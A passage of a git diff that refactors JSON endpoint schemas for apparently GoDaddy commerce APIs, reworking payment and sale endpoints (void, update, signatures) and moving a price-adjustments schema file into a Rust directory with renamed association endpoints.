"urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", + "readOnly": true, + "title": "Id", + "type": "string", + "x-custom-id": true, + "x-custom-type": true + }, + "transactionRefNum": { + "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "reference number (UUID format)", + "format": "uuid", + "title": "ReferenceNumber", + "type": "string", + "x-custom-refnum": true, + "x-custom-type": true } }, - "readOnly": true, - "description": "Refunds for the payment" - }, - "createdAt": { - "type": "string", - "format": "date-time", - "description": "Created time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "updatedAt": { - "type": "string", - "format": "date-time", - "readOnly": true, - "description": "Last updated time in RFC 3339 format", - "example": "2022-07-21T17:32:28Z" - }, - "notes": { - "type": "string", - "maxLength": 512, - "description": "Notes about transaction" - }, - "additionalProcessingInstruction": { - "description": "Processing instruction", - "writeOnly": true, - "$id": "https://godaddy.com/schemas/commerce/payment/transaction-processing-instruction.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Transaction Processing Instruction", + "required": [ + "amount", + "createdAt" + ], + "title": "Transaction", "type": "object", - "properties": { - "authOnly": { - "type": "boolean", - "default": false, - "writeOnly": true, - "description": "Perform authorize only and do not auto capture. Applicable only for AUTHORIZATION type payment" - }, - "partialAuthEnabled": { - "type": "boolean", - "default": true, - "writeOnly": true, - "description": "Allow partial authorizations. Applicable only for AUTHORIZATION and SALE type payment" - } - } - }, - "externalProcessor": { - "type": "string", - "description": "Processor that has already processed this payment externally" + "x-generic-type": "Transaction" } - }, - "required": [ - "type", - "amount", - "fundingSource", - "createdAt" - ] + ], + "description": "Represents sale transaction against a payment", + "title": "Sale Transaction", + "type": "object", + "x-generic-type": "Transaction" } }, - "404": { - "description": "Payment Not Found" + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } } }, "scopes": [ @@ -49163,24 +45244,17 @@ ] }, { - "operationId": "voidPaymentById", - "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}", - "summary": "Void Payment", + "operationId": "updateSaleById", + "method": "PATCH", + "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}", + "summary": "Update Sale", "parameters": [ { "name": "storeId", "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } }, { @@ -49188,19 +45262,45 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", + "type": "string" } } ], + "requestBody": { + "required": false, + "contentType": "application/merge-patch+json", + "schema": { + "$id": "https://godaddy.com/schemas/commerce/payment/patch-transaction.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "Patch transaction", + "properties": { + "notes": { + "description": "Notes about transaction", + "maxLength": 512, + "type": "string" + } + }, + "title": "Patch Transaction", + "type": "object" + } + }, "responses": { "200": { "description": "Request was successful" @@ -49208,26 +45308,7 @@ "default": { "description": "Error", "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } + "$ref": "./models/Error.yaml" } } }, @@ -49236,39 +45317,42 @@ ] }, { - "operationId": "voidPaymentByRefNum", + "operationId": "voidSaleById", "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentRefNum}", - "summary": "Void Payment", + "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}", + "summary": "Void Sale", "parameters": [ { "name": "storeId", "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } }, { - "name": "paymentRefNum", + "name": "paymentId", "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/refnum.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ReferenceNumber", - "description": "reference number (UUID format)", - "type": "string", + "$ref": "./types/Id.yaml" + } + }, + { + "name": "transactionId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { "format": "uuid", - "x-custom-type": true, - "x-custom-refnum": true + "type": "string" } } ], @@ -49279,26 +45363,7 @@ "default": { "description": "Error", "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/error.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error", - "type": "object", - "description": "Error details", - "properties": { - "requestId": { - "type": "string", - "format": "uuid", - "readOnly": true - }, - "code": { - "type": "string", - "readOnly": true - }, - "message": { - "type": "string", - "readOnly": true - } - } + "$ref": "./models/Error.yaml" } } }, @@ -49307,24 +45372,17 @@ ] }, { - "operationId": "getPaymentReference", + "operationId": "getSaleSignaturesById", "method": "GET", - "path": "/stores/{storeId}/payments/{paymentId}/references/{value}", - "summary": "Get reference", + "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}/signatures", + "summary": "Get Sale Signatures", "parameters": [ { "name": "storeId", "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } }, { @@ -49332,50 +45390,77 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "$ref": "./types/Id.yaml" } }, { - "name": "value", + "name": "transactionId", "in": "path", "required": true, - "description": "Reference value", "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", "type": "string" } + }, + { + "name": "page", + "in": "query", + "required": false, + "schema": { + "default": 1, + "type": "integer" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "default": 10, + "type": "integer" + } + }, + { + "name": "totalRequired", + "in": "query", + "required": false, + "schema": { + "default": false, + "type": "boolean" + } } ], "responses": { "200": { - "description": "Get payment reference by value", + "description": "Sale Signature list", "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-reference.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentReference", - "type": "object", + "allOf": [ + { + "$ref": "#/components/schemas/pagedList" + } + ], "properties": { - "value": { - "type": "string", - "maxLength": 64 - }, - "type": { - "type": "string", - "maxLength": 32 + "items": { + "items": { + "$ref": "./models/transaction/Signature.yaml" + }, + "type": "array" } - }, - "required": [ - "value", - "type" - ] + } + } + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" } } }, @@ -49385,24 +45470,18 @@ ] }, { - "operationId": "createPaymentReference", - "method": "PUT", - "path": "/stores/{storeId}/payments/{paymentId}/references/{value}", - "summary": "Create Reference", + "operationId": "addSaleSignatureByTransactionId", + "method": "POST", + "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionId}/signatures", + "summary": "Add Sale Signature", + "description": "Add sale signature by the transaction ID.", "parameters": [ { "name": "storeId", "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } }, { @@ -49410,55 +45489,77 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "$ref": "./types/Id.yaml" } }, { - "name": "value", + "name": "transactionId", "in": "path", "required": true, - "description": "Reference value", "schema": { + "$ref": "./types/Id.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", "type": "string" } } ], "requestBody": { "required": false, - "contentType": "application/json", + "contentType": "multipart/form-data", "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/payment-reference.v1", + "$id": "https://godaddy.com/schemas/commerce/payment/transaction/signature.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PaymentReference", - "type": "object", "properties": { - "value": { - "type": "string", - "maxLength": 64 + "createdAt": { + "description": "Created time in RFC 3339 format", + "example": "2022-07-21T17:32:28Z", + "format": "date-time", + "readOnly": true, + "type": "string" }, - "type": { + "id": { + "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "unique identifier (UUID format)", + "example": "id", + "format": "uuid", + "readOnly": true, + "title": "Uuid", + "type": "string" + }, + "signature": { + "description": "Signature data in Binary format", + "format": "binary", "type": "string", - "maxLength": 32 + "writeOnly": true + }, + "signatureUrl": { + "description": "URL of the image uploaded", + "format": "uri", + "readOnly": true, + "type": "string" } }, - "required": [ - "value", - "type" - ] + "title": "Customer Signature", + "type": "object" } }, "responses": { - "204": { - "description": "Resource created / updated successfully" + "200": { + "description": "Request was successful" + }, + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } } }, "scopes": [ @@ -49466,24 +45567,17 @@ ] }, { - "operationId": "deletePaymentReference", + "operationId": "voidSaleByRefNum", "method": "DELETE", - "path": "/stores/{storeId}/payments/{paymentId}/references/{value}", - "summary": "Delete reference", + "path": "/stores/{storeId}/payments/{paymentId}/sales/{transactionRefNum}", + "summary": "Void Sale", "parameters": [ { "name": "storeId", "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/uuid.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Uuid", - "description": "unique identifier (UUID format)", - "type": "string", - "format": "uuid", - "example": "id", - "readOnly": true + "$ref": "./types/Uuid.yaml" } }, { @@ -49491,24 +45585,23 @@ "in": "path", "required": true, "schema": { - "$id": "https://godaddy.com/schemas/commerce/payment/id.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Id", - "description": "Custom URN format", - "type": "string", - "example": "urn:pmt:oak:410dee2e-abbf-3f59-b640-fc3aca175344", - "readOnly": true, - "pattern": "urn:[a-z]{1,3}:[a-z]{1,3}:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}", - "x-custom-type": true, - "x-custom-id": true + "$ref": "./types/Id.yaml" } }, { - "name": "value", + "name": "transactionRefNum", "in": "path", "required": true, - "description": "Reference value", "schema": { + "$ref": "./types/RefNum.yaml" + } + }, + { + "name": "Request Id", + "in": "header", + "required": false, + "schema": { + "format": "uuid", "type": "string" } } @@ -49517,8 +45610,49 @@ "200": { "description": "Request was successful" }, - "404": { - "description": "Reference Not Found" + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + } + }, + "scopes": [ + "urn:godaddy:services:commerce:payments:read-write" + ] + }, + { + "operationId": "voidPaymentByRefNum", + "method": "DELETE", + "path": "/stores/{storeId}/payments/{paymentRefNum}", + "summary": "Void Payment", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/Uuid.yaml" + } + }, + { + "name": "paymentRefNum", + "in": "path", + "required": true, + "schema": { + "$ref": "./types/RefNum.yaml" + } + } + ], + "responses": { + "default": { + "description": "Error", + "schema": { + "$ref": "./models/Error.yaml" + } + }, + "200": { + "description": "Request was successful" } }, "scopes": [ diff --git a/src/cli/schemas/api/price-adjustments.json b/rust/schemas/api/price-adjustments.json similarity index 66% rename from src/cli/schemas/api/price-adjustments.json rename to rust/schemas/api/price-adjustments.json index f5a9f77..ac88fcc 100644 --- a/src/cli/schemas/api/price-adjustments.json +++ b/rust/schemas/api/price-adjustments.json @@ -6,11 +6,11 @@ "baseUrl": "https://api.godaddy.com/v1", "endpoints": [ { - "operationId": "findAllPriceAdjustments", + "operationId": "findAllPriceAdjustmentAssociations", "method": "GET", - "path": "/commerce/stores/{storeId}/price-adjustments", - "summary": "Get all price adjustments for a store", - "description": "Gets all applicable price adjustments for a given storeId", + "path": "/commerce/stores/{storeId}/price-adjustment-associations", + "summary": "Get all price adjustment associations", + "description": "Get all price adjustment associations", "parameters": [ { "name": "storeId", @@ -18,317 +18,200 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], "responses": { + "401": { + "description": "Unauthorized Error", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "404": { + "description": "Resource not found", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, + "422": { + "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", + "schema": { + "$ref": "#/components/schemas/Error" + } + }, "200": { "description": "Successful response", "schema": { - "type": "array", "items": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustment", - "type": "object", - "description": "Price Adjustment Entity; contains all the information about a price adjustment", + "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" - }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment. Auto-generated on creation", - "readOnly": true, - "format": "uuid" - }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "name": { - "type": "string", - "description": "The user friendly name of the price adjustment", - "example": "happy hour discount" - }, - "description": { - "type": "string", - "description": "The user friendly description of the price adjustment", - "example": "15% off of drinks, 10% off of food" - }, - "type": { - "description": "The type of the price adjustment", - "example": "DISCOUNT", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentType", - "type": "string", - "enum": [ - "DISCOUNT", - "FEE" - ] - }, - "enabled": { - "type": "boolean", - "description": "flag for status of the price adjustment", - "example": true - }, - "appliedBeforeTax": { - "type": "boolean", - "description": "flag for if the price adjustment should be applied pre- or post- tax", - "example": true - }, - "code": { - "type": "string", - "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", - "example": "holidays2023" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalIds": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" + }, + "id": { + "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "items": { + "description": "items this price adjustment association apply to", + "items": { + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "type", + "id" + ], + "type": "object" }, - "description": "external ids for this price adjustment" + "type": "array" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" } - } - } + }, + "required": [ + "key", + "type", + "value" + ], + "title": "Metafield", + "type": "object" + }, + "type": "array" }, - "amountType": { - "type": "string", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/amount-type.v1", + "name": { + "description": "the name for this price adjustment association", + "type": "string" + }, + "priceAdjustmentId": { + "description": "the id of the price adjustment that this price adjustment association refers to", + "format": "uuid", + "type": "string" + }, + "storeId": { + "description": "The storeId that this price adjustment belongs to", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "type": { + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-association-type.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "AmountType", - "description": "Possible ways to calculate the price adjustment amount; currently either a `PERCENTAGE` or `AMOUNT` is supported.\n- If the type is `AMOUNT`, the property `amount` in the request body is required.\n- If the type is `PERCENTAGE`, the property `ratePercentage` in the request body is required.\n", + "description": "Possible types of price adjustment association; Currently only `ADJUSTMENT` is supported.", "enum": [ - "AMOUNT", - "PERCENTAGE" - ] - }, - "amount": { - "description": "the currency code & amount of currency that makes up the amount discounted or charged for this price adjustment. Present if amountType = AMOUNT, else not present", - "$id": "https://godaddy.com/schemas/common/simple-money.v1", - "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Simple Money", - "properties": { - "currencyCode": { - "$id": "https://godaddy.com/schemas/common/currency-code.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "title": "Currency Code", - "description": "A three-character ISO-4217 currency code.", - "minLength": 3, - "maxLength": 3 - }, - "value": { - "type": "integer", - "format": "int64", - "description": "The value, which might represent intergrals for currencies like `JPY` that are not typically fractional; or, with an implied decimal fraction for currencies like `TND` that are subdivided into thousandths. For the implied number of decimal places for a currency code, see [ISO-4217 Currency Codes](https://en.wikipedia.org/wiki/ISO_4217)." - } - }, - "required": [ - "currencyCode", - "value" - ] + "ADJUSTMENT" + ], + "title": "PriceAdjustmentAssociationType", + "type": "string" }, - "ratePercentage": { - "description": "the percentage that makes up the amount discounted or charged for this price adjustment. Present id amountType = PERCENTAGE, else not present", - "$id": "https://godaddy.com/schemas/common/percentage.json", + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "pattern": "^((-?[0-9]+)|(-?([0-9]+)?[.][0-9]+))$" + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" } - } - } - } - }, - "401": { - "description": "Unauthorized Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "403": { - "description": "Authentication Client Error", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] - } - }, - "404": { - "description": "Resource not found", - "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." }, - "message": { - "type": "string", - "description": "The message that describes the error." - } + "title": "PriceAdjustmentAssociation", + "type": "object" }, - "required": [ - "code", - "message" - ] + "type": "array" } }, - "422": { - "description": "The server understands the content type of the request entity, and the syntax of the request entity is correct, but it was unable to process the contained instructions.", + "500": { + "description": "Internal server error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } }, - "500": { - "description": "Internal server error", + "403": { + "description": "Authentication Client Error", "schema": { - "type": "object", - "properties": { - "code": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - } - }, - "required": [ - "code", - "message" - ] + "$ref": "#/components/schemas/Error" } } }, "scopes": [ - "commerce.price-adjustment:read" + "commerce.price-adjustment-association:read" ] }, { - "operationId": "createPriceAdjustment", + "operationId": "createPriceAdjustmentAssociation", "method": "POST", - "path": "/commerce/stores/{storeId}/price-adjustments", - "summary": "Create a new price adjustment", - "description": "Creates a new price adjustment for a given storeId", + "path": "/commerce/stores/{storeId}/price-adjustment-associations", + "summary": "Create a price adjustment association", + "description": "Create a price adjustment association", "parameters": [ { "name": "storeId", @@ -336,10 +219,10 @@ "required": true, "description": "Store ID", "schema": { - "type": "string", "description": "The storeId that this price adjustment belongs to", + "format": "uuid", "readOnly": true, - "format": "uuid" + "type": "string" } } ], @@ -347,493 +230,329 @@ "required": true, "contentType": "application/json", "schema": { - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment.v1", + "$id": "https://godaddy.com/schemas/commerce/price-adjustments/price-adjustment-association.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustment", - "type": "object", - "description": "Price Adjustment Entity; contains all the information about a price adjustment", + "description": "Price Adjustment Association Entity; contains all the information about a price adjustment association", "properties": { - "storeId": { - "type": "string", - "description": "The storeId that this price adjustment belongs to", - "readOnly": true, - "format": "uuid" - }, - "id": { - "type": "string", - "description": "A unique identifier for the price adjustment. Auto-generated on creation", - "readOnly": true, - "format": "uuid" - }, "createdAt": { - "readOnly": true, - "description": "The datetime when the entity was created", "$id": "https://godaddy.com/schemas/common/date-time.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", - "minLength": 20, + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "updatedAt": { - "readOnly": true, - "description": "The datetime when the entity was last updated", - "$id": "https://godaddy.com/schemas/common/date-time.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "string", "minLength": 20, - "maxLength": 64, - "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$" - }, - "name": { - "type": "string", - "description": "The user friendly name of the price adjustment", - "example": "happy hour discount" - }, - "description": { - "type": "string", - "description": "The user friendly description of the price adjustment", - "example": "15% off of drinks, 10% off of food" - }, - "type": { - "description": "The type of the price adjustment", - "example": "DISCOUNT", - "$id": "https://godaddy.com/schemas/commerce/price-adjustments/enums/price-adjustment-type.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "PriceAdjustmentType", - "type": "string", - "enum": [ - "DISCOUNT", - "FEE" - ] - }, - "enabled": { - "type": "boolean", - "description": "flag for status of the price adjustment", - "example": true - }, - "appliedBeforeTax": { - "type": "boolean", - "description": "flag for if the price adjustment should be applied pre- or post- tax", - "example": true - }, - "code": { - "type": "string", - "description": "Fee or discount code. Must be a unique code per store \n- two different stores are allowed to have the same code\n- the same store is not allowed to have two of the same code\n", - "example": "holidays2023" + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" }, "externalIds": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/price-adjustments/external-id.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "ExternalId", - "type": "object", "description": "ExternalId is a unique identifier for a resource that is not managed by the PriceAdjustments service.\nFor example, an AvalaraId is an external id that is used to identify a tax code in Avalara.\n\nNOTE: this field has no current use in the PriceAdjustments service, but is included for use in future integrations.\n", - "required": [ - "type", - "value" - ], "properties": { "type": { - "type": "string", "description": "the type of the external id", - "example": "AvalaraId" + "example": "AvalaraId", + "type": "string" }, "value": { - "type": "string", "description": "the value of the external id", - "example": "123456789" + "example": "123456789", + "type": "string" } - } + }, + "required": [ + "type", + "value" + ], + "title": "ExternalId", + "type": "object" + }, + "type": "array" + }, + "id": { + "description": "A unique identifier for the price adjustment association. Auto-generated on creation", + "format": "uuid", + "readOnly": true, + "type": "string" + }, + "items": { + "description": "items this price adjustment association apply to", + "items": { + "properties": { + "id": { + "type": "string" + }, + "type": { + "type": "string" + } + }, + "required": [ + "type", + "id" + ], + "type": "object" }, - "description": "external ids for this price adjustment" + "type": "array" }, "metadata": { - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/orders/metafield.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Metafield", - "type": "object", "description": "Metafield to enable attachng additional contextual meta-information to a resource.", - "required": [ - "key", - "type", - "value" - ], "properties": { "key": { - "type": "string", "description": "The unique identifier for the metafield in its namespace", - "example": "shippingPolicy" + "example": "shippingPolicy", + "type": "string" }, "type": { - "type": "string", + "default": "JSON", "description": "The type of data that the metafield stores in the `value` field", "enum": [ "JSON" ], - "default": "JSON" + "type": "string" }, "value": { - "type": "string", "description": "The data to store in the metafield. The data is always stored as a string, regardless of the metafield's type", "example": "{ \"signatureRequired\" : \"true\" }", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" } - } - } + }, + "required": [ + "key", + "type", + "value" 